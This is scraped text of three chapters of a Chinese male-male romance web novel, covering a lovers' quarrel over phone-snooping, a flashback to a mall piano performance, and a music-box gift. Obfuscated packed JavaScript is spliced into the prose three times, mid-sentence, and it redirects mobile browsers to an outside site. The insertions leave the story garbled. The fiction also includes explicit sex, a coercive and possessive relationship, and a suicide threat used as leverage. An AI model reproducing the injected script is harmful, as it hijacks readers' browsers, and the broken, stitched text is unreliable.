“什么时候翻的我手机。”我走到他身边,攥住他的手腕,淡淡道,“别切了,等会儿切到手就不好了。” 江暮:“……”他松开刀,抬头望我,笑了,“什么意思?我听不太懂。” 我说:“不要打扰苏桥。他只是个普通人,背后没有人给他撑腰。” “我没有去找他。” “那五千块谁给他的?” 江暮嗤笑:“谁知道呢?他说是我?交易记录呢?你有看到吗?他一句话,哥你就信了?” 我说:“因为你可以拿无数个看似不属于你的账号给他转账,但他不会无缘无故给我发五千块钱。” 显然的,江暮因为我的这番话沉下了脸。 20. 出院 “怎么,你要替他教训我?”江暮的阴沉只是一瞬,下一秒他解开围裙,气定神闲地叠好放在一旁,又将自己的手洗干净,低头仔细地拿纸擦干手,说,“反正无论我怎么说,你就是相信他的话,对吗?” 他这样说,显得我偏心帮外人,可我知道自己只是太了解江暮而已。 “所以,你有没有去找过苏桥的麻烦。” 江暮平静道:“没有。” 我盯着他看了一会儿,笑着点头:“行。” 江暮拳头握紧,我继续道:“江暮,你现在连我都要骗了,是吗?” “......” 我忽然觉得很没意思,好像一直以为江暮这个人无论如何,至少在我面前懂得老实,可惜现在的事实就是,江暮在我面前一样可以面不改色的撒谎。 江暮上前一步挡在门口不让我出去,微微抬起头看我,一字一句道:“我说了,我没有找他麻烦。” 我垂着眼冷漠地盯着他的嘴巴,总感觉拿什么东西塞进去堵上才舒服。 我似笑非笑道:“继续你的辩解。” 江暮顿了顿,他深吸一口气,道:“......我确实看了你的手机。” “嗯。” 他见我反应冷淡,语速极快道:“但是你骗我在先,凭什么不让我戳破谎言?” 我哼笑出声:“没错,然后呢。” “你瞒着我去见他,加了他的联系方式,在我问你的时候,你仍然没有告诉我你去见了别人。”江暮越说心里越委屈,他小声说,“是你先骗我,要偷偷找别人的。" 我点头:“对,我瞒着你去相亲了。” “......”江暮睁大了眼睛,一时间连话都不知道怎么说了。 “不过相亲对象不是他,江暮,其实我那一天见了两个长得还不错的男人,还加了他们的联系方式。”我知道该如何刺痛他,就像知道该如何刺痛自己。 我总是将这样尖锐的矛对准江暮,好像他手里握着盾牌,实则他一无所有。 江暮喃喃道:“......你说什么?” “我的父母不同意我和你在一起。他们极力反对。”极力反对这四个字我念的很重,仿佛想要用这重量压倒眼前这个人。 果然,江暮眼眶红了:“什么啊...他们反对,你就,你就不想要我了吗?” 我心里好像很痛快,前所未有的痛快,这是江暮隐瞒我的惩罚,即使确实是我欺骗他在先,但我知道,在他这里我拥有特权:“不然呢?你想让我为了你对抗我的父母吗?” 这句反问好像将江暮问住了,黢黑的眼珠人偶一般呆滞看向我。 半晌江暮才找回自己的喉咙:“......我没为难他。” “我只是想见见他是什么人,我只是问了他几句话,我只是——”他语无伦次道,“我甚至还想,他请了假过来,扣了工资,要是你知道了,又要生我的气了,因为哥总是,总是要偏心那些可怜的人。” 他好似十分体贴,实际十分讥讽道:“所以我不是给他转了五千作为补偿吗?五千块难道不够?他一天工资能有五百吗?为什么他要同你告状?” 我好像不太认识江暮了。 印象里的江暮,是一个丢了两百块钱饭卡都要哭哭嚷嚷的人,现在却在嘲弄一个普通人一天的工资恐怕连五百都没有。 每个人都变了,江暮受江晖这么多年管制,不可能还像从前那个背着破烂书包,受人推搡欺负的小孩一样,我也同样,我一边希望他能变得更加尖锐去保护自己,一边希望他心底里仍然善良的像个孩童。 这样的矛盾使我脱口而出道:“不是每个人背后都有富有的家庭,如果没有江晖带你回江家,江暮,你现在也是你方才口中那个一天连五百——” 江暮气的浑身发抖,他大声道:“魏敛!!!” 我像是被这句怒吼揍了一拳,昏昏沉沉的脑子逐渐清醒过来,我张了张嘴,似乎想要说什么弥补,可发现无论说什么都无济于事。 江暮颤声道:“......你是这么想的?” “......不是的。” “你认为,江晖拯救了我吗?” 江暮几乎要哭了,他目眦欲裂道:“对!没有他,我确实是穷,我穷的连衣服和书包都买不起,我穷的连见了几次的人都可以不要脸的张口借钱,我穷的连像江晖这样的人都能叫出‘爸爸’这个词。” “江晖多伟大,没了他,就没有我,我如今一切的优渥都是他施舍的,我合该感谢他——”江暮说到这还是落下了眼泪,他的目光依旧望着我,“魏敛,他们都是这样想的,所以你也要,对吗?” “你对每一个人都那么宽容那么体贴。”江暮崩溃的捂住脸,似哭似笑道:“多好,多好啊。” 我苍白的否认道:“......不是的。” 我的心跳忽然很快,像是有谁在捂住我的口鼻,呼吸逐渐变得拥挤,眼前江暮的面容仿佛颜料搅进水里,成了一个黑色漩涡不停的旋转、模糊,然后这个哭泣的漩涡越来越小,直到‘燕江暮’出现在我眼前,手里攥紧那张失而复得的饭卡,说:真的真的,非常谢谢你。 我抬起手,想要摸摸他的脑袋,但是‘燕江暮’却害怕的往后退了一步,我不可置信的睁大眼睛,年幼的‘燕江暮’慢慢又长成了江暮的模样,当然的,他也同样瑟缩的往后稍稍躲了些,手臂挡在自己的脑袋前。 我抓住他的手臂,然后用力摁了下来,涩声道:“你在干什么?” “......你生气了。”像孙伊佳那次一样,他同样因为嫉妒和怨怼出言不逊,而我同样报以相等的愤怒。江暮不敢看我,解释,“我没想躲的,只是下意识,我习惯的...我不是故意的,真的。” 我感觉自己可能非常的难过,以至于我需要控制自己的语速才能使声音不那么颤抖:“江暮,你刚才以为我要打你,是么?” “......” “江暮。” “...对不起。”江暮突兀地说道,“我又耍小脾气了。我对苏桥,对你的那位......被资助人,说了很难听的话,对不起,我只是气上头了。” “偷看你的手机也是我不对,你有权做你自己的事并且不用告诉我,但我没有权利不经你的同意翻阅你的手机。” 江暮低下头:“我能有现在的生活确实离不开江家,你说的是实话。”他笑了下,“是我不愿意接受这个事实,还像个疯子一样质问你。” “我确实是找了苏桥,但我真的没有为难他,之后也没有打算再找他,我们的交谈很短,很无聊,给他五千除了当是弥补他请假的工资外,主要是想让他不要告诉你,我怕你生气,因为确实是我不对在先。” 他不能重蹈覆辙,不能再像三年前那样任性,江暮,你应该更低微些,更懂得接受一切,你不是很擅长这个吗? 江暮顿了顿,哑声道:“哥哥想去相亲也没有问题,毕竟哥哥的爸爸妈妈很爱你,他们不同意的话,哥你确实也没有办法,而且我们一开始就说好了,你厌倦我的话,可以找别人,只要别离开我就行。” 他眨了眨眼,确定没有多余的眼泪能够流出来,才抬头看向我,说:“你不要生气了,我不想让你难受。” “......”我知道我的嘴唇是张开的,我的喉咙是准备要说出话的,可竟然连一个字都吐不出来,我像个哑巴,在这种情景下,沉默是最残忍的杀手。 江暮见我不说话,暗想好在苏桥还活着,不然就要像上次那样,连道歉都无处可说,他理了理身上的衬衫,又用冰凉的手背贴住脸颊,使自己清醒些:“我现在去上门道歉。”说完又补充,“我保证这是最后一次联系他,以后不会再打扰他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你比我小啊,江暮,你在我这里可以任性一些的,那没关系。”我亲吻他的耳廓,哄他,“别哭了,嗯?我不想你哭的,我一开始……只是想问问你为什么要这样做而已。” 我说:“今天的事,源头在我,是我瞒你在先,也讲了一些......很不好的话。” 江晖是害死燕之淇的间接凶手,因此如果给江暮选择的话,他大概宁愿自己举目无亲,在街上乞讨,也不会回江家。但年幼的他面对江晖没有选择的权利,等到了有选择权利的年纪,又没了回头的机会。 我是知道的。我拥住江暮。我都知道的。 “去卧室吧。”我想我需要做些什么,让江暮不要那么草木皆兵。就算苏桥喜欢我又如何呢?其实我压根就不喜欢男人,当初答应江暮告白,事后回想起来都会让我有些意外。 江暮有些不解,他看着我疑惑的眨了眨眼睛:“...卧室?”是他想的那样吗?主动叫他吗?应该不会吧—— 我见他那副模样,好像精神渐渐平缓下来,我一只手钳住他的下颚,左右晃了晃,又低头吻了下,笑道:“嗯,不吃饭了。” 江暮难得反抗:“要吃的。你要按时吃饭,不能......” “弄完你再吃。” “但是——” 我亲了亲江暮的嘴唇:“嗯?” “你说了你不舒服,所以——” 我又亲了口:“嗯?” 江暮浑身有些软的站不动了,面红耳赤道:“吃药......” 我说:“还没到吃药的程度,我心里有数。” “那和苏桥道歉......什么时候?” 我眯了眯眼,话太多了,是该堵上:“苏桥的事你不用管了。”我往下摁江暮的肩膀,“既然总推这推那,那就在这吧。” 江暮不明所以的顺着我的力道渐渐单膝跪下,抬头很乖的看着我,我的拇指压住他的下嘴唇,淡淡道:“张嘴。” 江暮反应过来我准备在这做什么,双手抓住我的衣摆,声如细蚊道:“不是说卧室么?” “谁叫你一直说不动呢?”我的指腹来回摩挲江暮的嘴唇,轻笑道:“前几天不是很来劲,一直想要吃么?现在不吃了?”我像是在引诱他,轻声问,“还要吃么江暮?” 江暮耳朵红得滴血,他伸出舌头舔了舔我的拇指,小声说:“......要吃。” 21. 回忆 陆臻约他去玩剧本杀,魏敛没什么兴趣,靠在沙发上眼睛都没睁开,说:“不去。” “很好玩的啊魏哥,去嘛~”陆臻和他从小学就认识,虽然住的不是同一个小区,但家也算离得不远,因此初高中读的都是同一个学校,他人长得可爱,身高也不高,平时还爱同魏敛和孙伊佳撒娇,时常会被身边的人质疑性取向。 “操,我真是直男啊!”在又一次被crush以怀疑性取向这个理由拒绝他的表白时,陆臻绝望仰天高吼,“为什么没人信我?”说完就抱着魏敛的手臂寻求安慰,“呜呜呜魏哥,你说说这是什么事儿啊。” 魏敛面无表情的低头睨了他一眼,说:“你在别人面前少抱着我就行了。” 陆臻才不管:“哈?才不要,抱着魏哥有安全感。” 魏敛很无奈的朝他吐了口烟,陆臻被熏的立马离他三米远,手一直在扇风,嫌弃道:“我不要吸二手烟,我要去找伊佳玩了。” 魏敛咬着烟嘴很轻的笑了声。 以前孙伊佳在国内的时候,好歹还能替他分担分担,现在现在孙伊佳出国留学,陆臻只能逮着他嚯嚯:“去嘛,去嘛,上次鬼屋不是玩的很开心吗?” 那是你玩得很开心吧?魏敛心里想,“我不想动脑子,你叫别人去。” “那有什么动脑子的?我们玩的是恐怖本!纯来吓人的!” 魏敛睁开右眼瞥他,手像拎小鸡仔似的捏住他的后颈,说:“又来给我找事。” 陆臻严肃道:“哎,你这话说的。” 他言简意赅道:“不去。” “不行!”陆臻抓狂道,“你必须去!!” 魏敛觉得自己如果不答应陆臻,他今天能在这把自己烦死,便说:“任务自己去做,到时候别抱着求我。” 陆臻立马赔笑:“魏哥你是我的再生父母......” “行了,定好时间通知我。”说完突然又想到谁,“到时候我可能会再带个人过来。”他想叫江暮出来放松放松,但不确定这个小孩儿有没有空闲。 陆臻雷达启动了:“女朋友?男朋友?还是暧昧对象?” 魏敛很头疼,又把眼睛闭上了,冷漠道:“是你爹。” 陆臻忽然道:“哎,难道是江家那个小孩?”上次去鬼屋玩魏敛带的也是他。 “嗯。” 陆臻挠挠头:“但我总觉得他不太喜欢我。” 魏敛这才完全睁开眼看他,挑眉:“江暮讨厌你?” “一种感觉。”陆臻说。 魏敛笑了声:“那你受着。” “......哎!” ’好了,我会去的,江暮他除了上课就是被江晖叫去公司学习,没时间讨厌人,你比他大五岁,别胡思乱想。” 陆臻觉得他说的有道理,点头:“那我定个时间,你到时候可别反悔啊。” 魏敛想休息了,挥手赶他走:“知道。” 他最近情况比较稳定,医生说可以逐渐停药了,以后如果有任何异常再去复诊。他现在已经停药了三个月,目前还算一切正常。 比起魏敛的闲适,江暮显然忙碌的多,江晖确实把他当集团的继承人培养,人才刚上大学,就开始领他进公司,如今人快二十了,公司的各项杂事江暮接触了个遍。 魏敛联系他的时候江暮正对着电脑上一堆数据头昏眼花,接起电话的时候说话有气无力,听到魏敛的声音才算提起了点精神。 “出去玩?”江暮将手机贴近耳边,清楚的听见魏敛低沉的声音传过来,他连日期都没问,直接答应下来,“好啊,我一定去。” 魏敛似乎是很轻的笑了一声,江暮有些热的揉揉脸,说:“...我很久没见你了。”我很想你。 “你整天两头跑,去年江叔叔为了那点面子还让你去竞选学生会主席,你又是班长——”魏敛讲到这自己都心累,“你确定有时间?不要勉强。” 江暮当然没时间,都说上了大学就轻松了,江暮却感觉比高中那三年要更加忙碌,像个陀螺在江晖的鞭笞下不停的旋转,不过魏敛主动约他,那么时间就像海绵里的水,挤一挤一定能挤出来。 江暮轻快道:“真的有啊,哥,我们去玩什么?” “剧本杀。”魏敛说,“你还记得陆臻吗?” 江暮眉头皱起来,他不喜欢这个叫陆臻的男人,因为他总要黏着魏敛,扒着不肯放开,长得甚至都没有江暮高,上次在鬼屋时被吓到,竟然将自己撞开,小鸟依人似的躲在魏敛怀里——江暮突然有点讨厌自己长到现在这个身高了。 江暮一边脑子里讨厌一边嘴上乖巧道:“陆臻哥我记得,怎么了吗?” “他约我去玩剧本杀,我想着你这个年纪好像总是在忙大人的事情。”魏敛说,“所以我想,如果你得空的话,可以和我一起去。” 江暮盯着电脑屏幕,忽然觉得上面那些密密麻麻的字也没有那么可憎:“啊,我想玩,我有时间的,哥哥,你一定要带我去。” “不是很怕鬼吗?”他想到上次去鬼屋,江暮缩在他怀里发抖的模样,那时候魏敛只能将他抱的更紧些,安慰他不怕。当然了,那场鬼屋之行是陆臻那小子发起的,约了他倾慕已久的crush,说要在鬼屋里让她知道什么叫‘男子气概’。 当时魏敛欲言又止,但瞧陆臻那一副踌躇满志的样子,很善良的没有浇灭他的幻想。 果然,在他和那位女生被突然冒出的人头同时吓到时,陆臻以奥运冠军般百米冲刺的速度,转身冲到他怀里,顺便将江暮给挤了出去。 魏敛好笑的看了眼不远处准备躲到陆臻身后但已经傻眼的女生,又低头看向在他怀里瑟瑟发抖腿软的陆臻,提前说了结局:“陆臻,你再抱下去,表白又要被拒了。” 陆臻吓得满头大汗,哪里管这啊那的,猛地摇头:“不不不不我不放,别赶我!魏哥,爸爸,你是我爸爸!” 最后的结局是陆臻和女生一人抱着他的一只手臂,他像是拖拉机一样拖着两尊全程闭眼的石像缓慢前行。途中又担心江暮,扭头就见江暮面色惨白的跟在他们身后,魏敛凝他两秒,见江暮抿着嘴不说话,便道:“很怕吗?” 江暮刚想张嘴,陆臻就连忙道:“怕怕怕怕。” 魏敛无情道:“没问你,把嘴闭上。” 江暮抿抿唇,在继续装怕和不给魏敛再添第三个麻烦中选择了后者,小声说:“......没关系。” 魏敛却以为他在逞强:“牵着我的衣角可以吗?” 江暮抬头看他,眨了眨眼,魏敛浅棕的眼珠同他对视,缓缓道:“我其实有点怕,你可以牵着我的衣服,会让我有点安全感。” 江暮哪里会不知道魏敛是故意这样说的,心一下跳得很快,快到他甚至担心会不会被魏敛听见。 最后从鬼屋出来,女生红着脸问魏敛的联系方式,陆臻石化在原地,魏敛心里叹了口气,简洁道:“下次吧。” 刚说完江暮就扯了扯他的衣角,脸色难看,似乎不大舒服,魏敛用手背贴近他的脸颊,很冰,魏敛严肃道:“怎么了?” 江暮点头:“......哥,我想找个椅子坐坐。” 怕是在里面吓着了,江暮光人蹿的高,实际身体羸弱成竹竿一样,魏敛单手环住他的肩膀,将他半拢在怀里,对陆臻道:“我和江暮找个地方休息一下,你们自己玩吧,等会儿就不会合了。” 这次剧本杀好在没叫外人,都是魏敛认识的朋友,陆臻说上次玩完鬼屋后好像有点上瘾,魏敛评价为人菜瘾大。 去之前魏敛先是到江暮学校接他,江暮早就把他的车牌号记住了,哼着歌连声招呼也没打,打开车门就钻进他的副驾,魏敛还在抽烟,见他来了愣了下,将烟灭了,打开窗散味:“不是离约定的时间还有半小时吗?” 江暮笑着说:“因为不想让你再抽半小时的烟,所以偷偷溜出来了。” “小心别被你任课老师发现。” 江暮心情好的很,魏敛主动约他出来玩,还特地过来接他,甚至见他来了就把烟灭了:“发现了也不会怪我的。” 前段时间魏敛去外地采风写生,算起来他们俩确实有些日子没见,现在一瞧总觉得江暮这人又瘦了点,魏敛捏了捏他的脸,没几两肉能掂起来,问他:“平时都吃什么去了?”他这样饮食不规律的人瞧着都比江暮强壮的多。 江暮一张白脸上挂着两弯很重的黑眼圈,对魏敛的肢体接触十分得意,顺着魏敛捏他脸的力道靠在他的肩膀上,说:“嘿嘿。” 魏敛:“......?” “哥哥。”江暮知道魏敛打了舌钉,他梦里面总会梦到魏敛捧着他的脸亲他,然后他的舌头就会碰到魏敛舌头上那颗月光石,是以平日见魏敛说话总会心猿意马。 “嗯?” 江暮抓着魏敛的手和自己的手掌贴合,魏敛的手指很长,手比他要大一些,魏敛从小就学习钢琴,江暮自认为和他这种半路出家的不一样。江暮见过他弹钢琴,专门给他弹的,那天是他十九岁生日,江家自然不会管他的生日,所以魏敛说:“那行,今年继续给你过。” 鉴于高中毕业那天江暮难得表露出不喜欢和别人一起庆祝,魏敛这次没喊其他人,他之前以为小孩都爱热闹,没想到前面几年全想错了。 商场中央有一架钢琴,他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087961|195396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚看完电影出来,就见有人在那里弹琴,旁边站着一个女生,似乎是情侣,江暮停下脚步,一言不发的听着。 魏敛站在他一旁,手插兜里,因为方才很想抽烟,但他一般不在公共场合吸烟,最后拆了个棒棒糖解馋。他耐心地等了半分钟,听见江暮说:“我妈妈也会弹钢琴。” 这倒是魏敛第一次知道。 江暮不好意思的低下头:“不过是她之前在酒吧驻唱的的时候别人教她的,只教了一点,是最简单的小星星。我生日那天给我弹过。” 魏敛低头看他,棒棒糖从左边的腮帮换到了右边,声音没什么起伏道:“想听什么?” 江暮惊讶的抬起脑袋,说话都结巴了:“给,给我弹吗?在这里吗?” 魏敛淡漠的眼里带了些笑意:“你每次给我送的生日礼物,都是用自己赚的钱买的吧?” “哥怎么知道的?” “每次我生日的前一个月你就鬼鬼祟祟的不知道在忙什么。”魏敛说,“你现在还小,不用逞强成这样,江家的钱是你应得的,分的太清楚只会让你吃亏。” 江暮嗫喏道:“我就是想......” 魏敛打断道:“等你以后真的工作了,再考虑这个。”他揉了揉江暮的头发,下了通知,“想听什么?弹完后这事就得听我的,没有商量的余地。” 江暮沉默了会儿,说:“那李斯特的《爱之梦》可以吗?”他知道魏敛很喜欢李斯特。 魏敛不轻不重的拍了下江暮的后脑勺,江暮捂着脑袋看他,委屈道:“干嘛......” 魏敛笑道:“你真没把你哥的名声当回事儿啊。” 江暮小声顶嘴:“哪里有那么难...又没让你弹死之舞,十多分钟弹死你......” “你让我弹这个我就走了,一分钟都不行。”魏敛说,“我在外面也是要脸的。” 魏敛说是这样说,还是按照江暮的要求上去了,没什么事在家呆着的好处就是他平时除了画画就是弹琴,做这两样事情时莫名使他心里嘈杂的声音十分安静,好像周遭一片空白,连一丁点灰尘也没有。 不过现下人来人往的商场,魏敛没有那般兴致,刚坐下来弹了几个键试音,发现有些跑,听着很难受,想着草草敷衍了事的时候,他看到了江暮望向他的眼神。 那该怎么说呢,魏敛竟然一时间描述不出来,那一刻他甚至怀疑孙伊佳的猜测是不是真的是对的。 魏敛也不知道为什么,那眼神仿佛线一样缠着,让他弹琴时不自觉地上心起来,他不知道自己弹得如何,毕竟钢琴音准差成这样,他不抱什么期望。 然后江暮忽然拉起他的手,拽着他就跑,魏敛还不知道他力气能有这样大的时候,或许是跑的太着急,魏敛能看到江暮黑发里露出来两只通红的耳朵。 “再跑别人还以为我们盗窃了。”魏敛慢慢停下脚步,往后拉了下江暮,江暮被拉的后倒两步,却转过身眼睛水亮地抬头看他。 魏敛愣了愣,一时间没想起自己下一句原是想说什么话。 “......跑什么?” “他们都在看你,有人还在拍你,还有的想要过去加你联系方式。”因为跑的太急,江暮说话仍有些喘,“所以我们得跑。” 魏敛是他一个人的,是他的哥哥,他喜欢的人,他这辈子仰仗着魏敛过活,他拥有的一切都属于魏敛,他想要除他以外的所有人都离魏敛远远的,他只要看着自己就好了。 不过江暮深知这是无法实现的。 他的生日总是在梅雨季,连绵不断的雨,空气潮湿,闷得人心里燥热。 江暮不止一次想,要是他生在冬天就好了,这样他可以借口寒冷,钻进魏敛的怀里,他的哥哥那么好,一定会用厚厚的外套拢住自己,他只要稍稍抬起头,就能够亲到魏敛的嘴角。 多好。 可惜那些一团乱麻的事情都发生在那个令人心里燥热的雨季,江暮觉得他的任性把那些美好的过往都毁了,可又不受控制的怨恨魏敛的狠心,以至于三年过后再也装不出那般乖顺的模样。 那天江暮在疗养院外见到魏敛骑着那辆蓝色的共享单车穿过梧桐投下的叶影,还是那副冷淡的表情,好像就算世界明天要毁灭了,魏敛也只会不咸不淡的说一句:“行,知道了。” 他摇下车窗,几乎是用尽所有的理智来让自己看起来像个正常人,而非是个疯子。 “魏敛。” “我还以为,你要继续在里面待第四年呢。” 魏敛那双淡漠的眼睛寻声看向他的时候,江暮才发现,原来这三年来辗转反侧怨来怨去,到最后他怨的还是自己。 22. 出院 我暂时没有管苏桥给我发的消息,并且叮嘱江暮不要再去找苏桥,不去打扰他就是最好的道歉。 江暮趴在我的肩膀上,很乖的点头,我摸了摸他的脸,低声问:“困了?” 江暮唔了声,然后缓慢地说:“我们以后……不吵架了,好不好?我以后会很乖的,不惹你生气了。” 我沉默的看着他,然后摇摇头。 江暮似乎因为这个摇头清醒了些,连忙问:“为什么?你还没消气……还在怨我吗?” 我说:“因为我也会有做错的时候,如果我做错了,却并未认识到自己的错误,你可以质问我。”我顿了顿,“又或者向我分手。” 江暮紧张道:“为什么要分手?我这辈子都不会跟你分手的。” 我叹了口气:“……江家不会同意的。” “……哥哥这是什么意思?” “你不会不明白,江氏的掌权人可以流连花丛男女不忌,但不能一辈子一心一意的吊在一个男人身上。” 江暮忽然坐起身,因为牵扯到后面的伤口,他面色煞白,但语气轻蔑道:“我管他们如何?” “不是你想的那么简单的。” 江暮抓住我的手:“我知道,我知道里面有许多利益牵扯,我也知道施阿姨和魏叔叔担心什么。” 我无情道:“知道就好。” 江暮沉声道:“不过,我会将那些反对的,不听话的……那些企图拆散我们的人——我会将他们的嘴巴通通封上。” 他想起了什么,补充,“当然了,这里面不包括哥哥的爸爸妈妈。”他们对你很好,很爱你,江暮想,他自己已经无法拥有的东西,所以要加倍替他的哥哥珍藏。 狠话总能轻而易举的说出口,但做到又是另一个难度,我说:“我以为……你至少会聪明些。” “聪明?魏敛,你要知道,离开你我活不长的。”他自嘲的笑了笑,“这三年,我全靠你尚在a市生活吊着一口气。如果以后你还想要亲手把我推给别人……说不定今年分手,明年就能参加我的葬礼了。” 我不大高兴的皱起眉头,一只手掐住他的两颊将江暮往下压,江暮的头跌到枕头上,吃痛的闭上眼,双腿却圈住了我的腰,哑声笑道:“怎么,就允许你想自杀,不允许我有这样的想法?” 我确认自己现在的心情十分不爽,舌头抵住腮帮试图稳住心里的火气,冷声警告道:“不要再说这种话惹我生气了。” 江暮黑浓的眼珠子盯着我,微笑道:“那你不要说分手的话了。哥哥对我做什么事都可以,打我也好骂我也好,出轨也可以,让我当小三我也能做到,就算把我双腿砍断了我爬也要爬到你身边,除非我死了,否则你这辈子都甩不掉我。” “……” 我本应该斥责江暮的无法理喻,可内心却不合时宜的腾升出一种隐秘的愉悦——没错,我被他全身心的需要着,这株已经要遮天的藤蔓,在我面前像软弱无力的菟丝子,必须依附我才能过活。 理智和私欲在我脑中拉锯,江暮没有放过我,他双手圈住我的脖子,身体紧紧的贴住我,像一只乖顺的小动物蹭了蹭我的脸颊,在我耳旁轻声道:“我永远都是属于你的,你不要我的话,那我也不要我自己了。” 我脑子里像是有什么弦绷断了,将他翻过身,就着刚才的功夫毫无前奏的开始,江暮愣了下,突然张狂的大笑起来,仿佛在宣告这场拉锯战是他夺得了了不起的胜利。 不过那些笑声逐渐变小,直到他抿紧嘴咬住牙,整张脸闷在枕头里,青筋伏起的手指抓紧那点薄薄的布料,像一具尸体躺在下面,我抓住他的头发,淡淡问道:“以后每次都像今天这样,你觉得呢?” 江暮偏头露出半张侧脸,眼眶通红的看着我,或许是因为我的表情并没有显露出什么柔情蜜意,使他强撑不住地呜咽一声,而后笑得比哭还难看,说:“……好啊,哥哥喜欢的话,我就喜欢。” “……” 我那点不知道从哪来的愤怒在他那声呜咽中消散干净了,松开手,转而抚摸他的脸,问:“又要哭了吗?” 江暮说:“我一滴眼泪都没流。” 我以一种十分无奈的心理笑了:“都在眼睛里聚着呢。” 江暮扭头,又把自己埋起来了:“不会哭,我不会惹你烦的。” “……?”我回想我到底有没有说过他哭起来很烦的话,从很多年前开始想起,最后判决道,“我没说过,江暮。” “我没有说过你哭会让我很烦这样的话。”我的手掌住他的脖颈,说,“你可以哭,但是只能在我面前,知道了吗?” 江暮耳朵立马红了,他在那里小声的叽里咕噜的说了句什么,然后伸手将我的手讨好的带到了他的唇前,他吻了吻我的指腹,又用舌头将我的食指卷进口腔,声音像是在朝我撒娇:“……哥哥,痛。” 我一边放轻了力气一边想,真是会变脸。一边发疯的说要收拾每一个阻拦我们的人,一边又可怜兮兮的朝我示弱。 江暮总是要把我的计划打乱的一团糟,我一时间分不清究竟是他擅长这样,还是我在纵容这一切的发生。 翌日江暮准时起床去上班,我醒后他已经走了,有些无聊的坐在床沿边出神的看向窗外,早晨雾气还浓,江面像被层纱轻轻笼罩,远处的高楼大厦同山般藏在云中,只露出隐约的轮廓。那点幽幽的靛蓝的光使全世界显出一种荒诞的寂静。 我认识本市一位vintage店的老板,他说最近到国外的拍卖会上又捡漏了不少,如果有兴趣的话可以过来看看。 我慢悠悠的先是给自己做了一杯咖啡,吃掉了江暮早上做的早餐,手机上收到了江暮的信息,问我醒了没有,如果醒的很晚的话桌上的早餐就不要吃了,我拍了张空的盘子给他,说:“晚了,已经吃完了,你下毒了吗?” 江暮说对啊下了。 我说那我死了你记得把犯罪现场留下的作案痕迹清理干净,别被找到证据了。 江暮回:哈?我才不,毒完你我就跟着殉情了。 什么跟什么,乱七八糟的。 跟江暮闲扯了几分钟我就准备出发了,礼物是昨晚梦到江暮小时候,才决定好要买什么的。 我见到江暮时他已经十四岁了,不知道他前十四年怎样度过,虽然他一再强调自己的童年并没有那么凄惨,不过江暮总是会‘自我保护’,摈弃那些错误的,留下那些经过记忆美化的,以确保自己是有被人在乎,有被人爱着。 我发现自己可能真的有那么一点骑士病。 到了店里我问店主有没有稍微好看些的八音盒,店主说有的,他领着我到了一个不起眼的小角落,指着其中一个明显比其他要大上几倍的长盒介绍:“144音的八音盒,这个系列现在已经停产了,无论从哪方面来说非常具有收藏价值,我去年有幸拿到,整个店里就这一个,要不是魏哥你要,我其实不舍得出。” 我想了想江暮收到这个礼物时的表情,他大概会以为我给他送了什么小型棺材,但又因为是我送的东西,会很开心的收下。这玩意儿放到他办公室也是个不错的选择,他一天到晚跟一群大腹便便的人刀光剑影,回到办公室听听歌清静清静也不错。 其实是有点鸡肋的礼物。我一边这样想着一边很干脆地点头:“行,我买了。” 鸡肋不鸡肋没关系,收藏价值到了就行。要真论实用,送出的东西大多又有些廉价。 我叫了人替我直接送到江暮公司,顺带发消息告诉了一声江暮,别到时候以为是诈骗团伙连人带东西给轰出去了。 希望这个礼物能把我相亲的事给揭过去。虽然不需要我送礼江暮大概也能自己哄好自己,但是送了我那点愧疚才能安分些。 从那天后我没搭理过苏桥,江暮收到礼物也很高兴,但很折腾的把八音盒又搬回了家里,说是不想给别人看,我说我就是想让你在办公室听的,江暮那时候趴在桌上,眼睛一错不错的盯着那盒子,像是在想什么很久远的故事,很久没说话。 末了把盒子关上,双手抱住,脸贴在上面,很宝贝似的,江暮的目光落在我这儿,弯了弯眼睛,问:“为什么哥哥会送我这个?” “不知道。”我翻书的手停住,实话实说,“可能是因为梦到了你小时候蹲在地上,盯着一个被打碎的水晶球在那里偷偷哭。” 不过我觉得这只是一个虚幻的梦,不能因为一个毫无根据的梦而去买一个廉价又幼稚的水晶球作为礼物,这是社交的基本礼仪。 “啊。”江暮有些惊讶,“哥你有超能力吗?” “怎么。” “因为确实有这件事。”江暮说,“水晶球是初一妈妈送我的生日礼物,但是后来期末我受寒发烧了,强撑着上考场,最后考的很差,我妈妈很生气,不小心就把它从桌上砸下来,摔碎了。” 不小心砸下来——我知道江暮一向在哄自己这件事上能力出众,但这样的话一出来我还是由衷的为他感到佩服,后来转念一想,这实则是一种非正常的自救手段。 再过不久他就要去m国出差,即使江暮十分不情愿,但这是没办法的事,他甚至思考要怎么将这个八音盒给带过去,因为他才收到这个礼物不久,竟然不能天天都回家看看它,这让他觉得难过,他认为自己怠慢了我的心意。 我弹了下他的额头,淡淡道:“不要再跟我说这些听了会变蠢的话了。” 江暮吃痛的捂住额头,委屈道:“我认真的。” “那行,我给你打视频,就它出镜,你晚上盯着它睡。” 江暮立马抗议:“不行!”他抱住我,“我要和哥哥视频。” 我好笑道:“又撒娇,那么大的人了。” “我就和你撒娇,何况再过几年到了三十,和你撒娇你就要嫌我恶心了。”江暮很认真道,“所以现在要多撒撒。” 我挑了挑眉,沉吟道:“嗯......想的挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 